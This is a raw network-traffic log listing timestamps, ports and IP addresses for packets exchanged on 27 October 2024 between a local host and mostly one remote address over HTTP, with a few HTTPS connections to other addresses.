Oct 27, 2024 17:54:41.403431892 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.403446913 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.403456926 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.403480053 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.403496027 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.403511047 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.403517962 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.403526068 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.403548956 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.403656006 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.403677940 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.403692961 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.403697968 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.403712034 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.403727055 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.403733015 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.403779984 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.403803110 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.403819084 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.403832912 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.403850079 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.403857946 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.403867006 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.403887987 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.403899908 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.403976917 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.403992891 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.404007912 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.404016018 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.404023886 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.404032946 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.404046059 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.404061079 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.412369013 CET	443	49933	20.125.209.212	192.168.2.5
Oct 27, 2024 17:54:41.412425041 CET	49933	443	192.168.2.5	20.125.209.212
Oct 27, 2024 17:54:41.417365074 CET	49938	443	192.168.2.5	204.79.197.219
Oct 27, 2024 17:54:41.417403936 CET	443	49938	204.79.197.219	192.168.2.5
Oct 27, 2024 17:54:41.425144911 CET	49933	443	192.168.2.5	20.125.209.212
Oct 27, 2024 17:54:41.425169945 CET	443	49933	20.125.209.212	192.168.2.5
Oct 27, 2024 17:54:41.430710077 CET	443	49929	20.99.185.48	192.168.2.5
Oct 27, 2024 17:54:41.430762053 CET	443	49929	20.99.185.48	192.168.2.5
Oct 27, 2024 17:54:41.430900097 CET	49929	443	192.168.2.5	20.99.185.48
Oct 27, 2024 17:54:41.430911064 CET	443	49929	20.99.185.48	192.168.2.5
Oct 27, 2024 17:54:41.432410002 CET	49929	443	192.168.2.5	20.99.185.48
Oct 27, 2024 17:54:41.432497025 CET	443	49929	20.99.185.48	192.168.2.5
Oct 27, 2024 17:54:41.432555914 CET	49929	443	192.168.2.5	20.99.185.48
Oct 27, 2024 17:54:41.446845055 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.446861982 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.446882010 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.446907997 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.446928024 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.447012901 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.447026968 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.447036028 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.447115898 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.447192907 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.461543083 CET	49935	443	192.168.2.5	23.198.7.171
Oct 27, 2024 17:54:41.461595058 CET	49937	443	192.168.2.5	204.79.197.219
Oct 27, 2024 17:54:41.461637974 CET	443	49937	204.79.197.219	192.168.2.5
Oct 27, 2024 17:54:41.477354050 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.477431059 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.477444887 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.477493048 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.477535009 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.477663040 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.477813005 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.477828979 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.477888107 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.477888107 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.478435993 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.478528023 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.478554010 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.478563070 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.478846073 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.478859901 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.478914022 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.525266886 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.525327921 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.525418043 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.525444984 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.525460005 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.525470018 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.525485992 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.525491953 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.525505066 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.525513887 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.525521994 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.525532007 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.525542021 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.525564909 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.525914907 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.525930882 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.525955915 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.525969028 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.526084900 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.526101112 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.526113033 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.526129007 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.526146889 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.526146889 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.526163101 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.526164055 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.526171923 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.526180029 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.526184082 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.526196957 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.526201010 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.526223898 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.526232958 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.526624918 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.526663065 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.526813030 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.526829004 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.526844025 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.526854038 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.526858091 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.526868105 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.526875019 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.526887894 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.526890993 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.526896954 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.526906013 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.526921988 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.526927948 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.526941061 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.526945114 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.526962042 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.526973963 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.526984930 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.526989937 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.526998997 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.527005911 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.527021885 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.527029991 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.527038097 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.527048111 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.527055979 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.527076960 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.527103901 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.527143002 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.527143955 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.527183056 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.569700003 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.569715023 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.569730043 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.569745064 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.569757938 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.569758892 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.569777012 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.569818020 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.574573994 CET	49937	443	192.168.2.5	204.79.197.219
Oct 27, 2024 17:54:41.600725889 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.600800991 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.600893021 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.600908041 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.600927114 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.600941896 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.600956917 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.600956917 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.600972891 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.600989103 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.601000071 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.601015091 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.601038933 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.610131025 CET	49938	443	192.168.2.5	204.79.197.219
Oct 27, 2024 17:54:41.648282051 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.648296118 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.648309946 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.648327112 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.648338079 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.648359060 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.648397923 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.648428917 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.648461103 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.648469925 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.648477077 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.648499966 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.648513079 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.648618937 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.648632050 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.648646116 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.648660898 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.648670912 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.648684978 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.648694992 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.648701906 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.648730993 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.648763895 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.648796082 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.648812056 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.648828983 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.648834944 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.648844957 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.648854017 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.648864985 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.648885965 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.648946047 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.648963928 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.648977995 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.648993015 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.649049044 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.649049044 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.649064064 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.649298906 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.649315119 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.649328947 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.649346113 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.649362087 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.649378061 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.649382114 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.649399996 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.649403095 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.649419069 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.649435043 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.649446011 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.649447918 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.649466038 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.649483919 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.649503946 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.649524927 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.649646997 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.649662971 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.649677038 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.649692059 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.649697065 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.649710894 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.649739981 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.649811029 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.649827003 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.649842024 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.649852991 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.649858952 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.649877071 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.649895906 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.649992943 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.650008917 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.650023937 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.650039911 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.650039911 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.650067091 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.650094986 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.690016985 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.690047979 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.690063000 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.690073967 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.690078974 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.690087080 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.690093994 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.690113068 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.690129042 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.710903883 CET	443	49939	20.190.159.2	192.168.2.5
Oct 27, 2024 17:54:41.721029997 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.721046925 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.721082926 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.721082926 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.721102953 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.721124887 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.721179962 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.721194983 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.721210003 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.721221924 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.721225977 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.721236944 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.721242905 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.721252918 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.721260071 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.721271992 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.721276999 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.721292973 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.721302032 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.721322060 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.733028889 CET	49939	443	192.168.2.5	20.190.159.2
Oct 27, 2024 17:54:41.733048916 CET	443	49939	20.190.159.2	192.168.2.5
Oct 27, 2024 17:54:41.733764887 CET	49939	443	192.168.2.5	20.190.159.2
Oct 27, 2024 17:54:41.733769894 CET	443	49939	20.190.159.2	192.168.2.5
Oct 27, 2024 17:54:41.733793974 CET	49939	443	192.168.2.5	20.190.159.2
Oct 27, 2024 17:54:41.733803034 CET	443	49939	20.190.159.2	192.168.2.5
Oct 27, 2024 17:54:41.769085884 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.769109964 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.769126892 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.769143105 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.769159079 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.769166946 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.769175053 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.769191980 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.769201994 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.769207954 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.769212961 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.769238949 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.769248009 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.769253969 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.769269943 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.769273043 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.769284964 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.769301891 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.769303083 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.769326925 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.769351959 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.769423962 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.769439936 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.769459963 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.769475937 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.769848108 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.769870996 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.769886971 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.769897938 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.769902945 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.769912004 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.769931078 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.769947052 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.769989014 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.770004988 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.770021915 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.770037889 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.770049095 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.770072937 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.770097017 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.770169020 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.770184994 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.770200968 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.770210028 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.770215988 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.770227909 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.770231962 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.770240068 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.770248890 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.770260096 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.770266056 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.770272017 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.770283937 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.770292044 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.770308018 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.770328999 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.770343065 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.770358086 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.770374060 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.770382881 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.770390987 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.770396948 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.770407915 CET	49853	80	192.168.2.5	185.215.113.206
